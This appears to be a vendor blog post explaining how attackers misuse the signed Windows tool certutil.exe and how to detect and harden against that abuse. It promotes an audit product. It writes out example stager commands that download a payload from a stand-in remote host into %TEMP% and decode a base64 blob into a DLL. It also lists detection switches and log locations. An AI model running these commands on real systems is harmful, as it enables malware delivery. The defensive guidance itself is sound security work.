Auditing certutil.exe: The Signed Windows LOLBin That Downloads and Decodes Malware

certutil.exe ships on every Windows install. Its legitimate job is managing certificate services — dumping CA config, verifying certificate chains, installing PKI roots. It is Microsoft-signed, lives in C:\Windows\System32, and almost never appears on an application allowlist blocklist. That combination is exactly why attackers love it. certutil is one of the most weaponized living-off-the-land binaries (LOLBins) on Windows, and most environments have never once looked at how it is being invoked.

Why certutil is a gift to attackers

A LOLBin is a legitimate, signed system tool repurposed for malicious ends. certutil earns its place at the top of the list because it does three things an intruder needs, all without dropping a new binary that antivirus might flag:

• It downloads files over HTTP/HTTPS. The -urlcache and -verifyctl switches will happily fetch a remote URL and write it to disk — a built-in curl that predates curl shipping in Windows.
• It decodes base64 and hex. The -decode and -decodehex switches turn an innocuous-looking text blob into an executable payload, defeating naive content inspection that only scans for PE headers in transit.
• It is trusted. Because it is signed by Microsoft and expected on the system, EDR rules that alert on "unknown process making network connections" simply do not fire.

The command lines you are actually hunting for

Attackers chain a download and a decode into a two-step stager. These are the canonical patterns — commit them to memory, because they show up in real incident timelines constantly:

:: Download a payload from a remote host into the temp directory
certutil.exe -urlcache -split -f http://198.51.100.20/beacon.exe %TEMP%\svc.exe

:: Same idea, newer switch, quieter cache behavior
certutil.exe -verifyctl -split -f https://cdn.example[.]net/a.txt

:: Decode a base64 blob that was staged as a "certificate" into a DLL
certutil.exe -decode payload.b64 update.dll

The -split flag forces the fetched content to be written out as its own file. The -f forces overwrite. Any certutil invocation that includes -urlcache, -verifyctl, -decode, or -decodehex deserves scrutiny — legitimate admin and PKI workflows almost never use these switches on a normal endpoint.

Where the evidence lives

certutil leaves fingerprints in more than one place, which is good news for detection:

• Process creation logs (Event ID 4688). If you enable command-line auditing (Audit Process Creation plus the "Include command line" policy), every certutil execution is captured with its full argument string. Without command-line logging, a bare 4688 tells you certutil ran but not how — which is nearly useless here.
• Sysmon Event ID 1. If you deploy Sysmon, you get command line, parent process, and hashes for free. A certutil spawned by winword.exe or powershell.exe is a screaming red flag.
• The URL cache on disk. Downloads land under %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\. The Content and MetaData subfolders retain fetched files and their source URLs even after the payload is deleted — a durable forensic artifact.

How WinSentinel audits this

WinSentinel's LOLBin and process-telemetry checks are part of the full local audit — all 64 modules run free on a single machine with no limits. On each endpoint it verifies the plumbing that makes certutil abuse detectable in the first place:

• Confirms process-creation command-line auditing is enabled, so 4688 events actually contain the arguments you need.
• Flags whether Sysmon is deployed and whether its config captures certutil/LOLBin execution.
• Inspects the CryptnetUrlCache for evidence of prior HTTP fetches by certutil.
• Checks that Attack Surface Reduction rules and application allowlisting (WDAC/AppLocker) policies are positioned to constrain LOLBin misuse.

Every finding maps to a concrete fix and a MITRE ATT&CK technique (T1105 Ingress Tool Transfer, T1140 Deobfuscate/Decode Files, T1218 Signed Binary Proxy Execution), so a remediation ticket writes itself.

Hardening: what to actually do

1. Turn on command-line process auditing everywhere. This is the single highest-value change — without it, certutil abuse is invisible in your logs.
2. Deploy Sysmon with a config that logs LOLBin process creation and network connections. It is free and gives you parent-child context 4688 cannot.
3. Alert on the abuse switches. Build a detection for certutil command lines containing -urlcache, -verifyctl, -decode, or -decodehex, and prioritize any where the parent is an Office app, browser, or script host.
4. Constrain execution with WDAC/AppLocker. You usually cannot block certutil outright, but you can restrict where downloaded payloads are allowed to execute from (block user-writable paths like %TEMP% and %APPDATA%).
5. Enable the ASR rule for blocking executable content that fails prevalence/age/trust criteria, cutting off the second stage even if the download succeeds.

You can't uninstall certutil, and you shouldn't. The win is visibility: make every abusive invocation loud, and make the folders it downloads into un-executable.

The fleet angle

On one machine, WinSentinel gives you the full certutil/LOLBin audit for free. Across an organization, the harder question is consistency — is command-line auditing on for all 200 endpoints, or just the ones a careful admin touched? WinSentinel Pro rolls these per-machine findings up into a central node: you see which nodes have LOLBin telemetry gaps, get drift alerts when a machine regresses (auditing silently turned off after a re-image), and can dispatch the fix fleet-wide instead of RDPing into hosts one at a time. Detection that isn't uniform is detection an attacker will find the hole in.

certutil is the textbook example of why "signed and built-in" is not the same as "safe." Audit how it runs, log the arguments, and lock down where its downloads can execute — then move to the next LOLBin, because there are dozens more.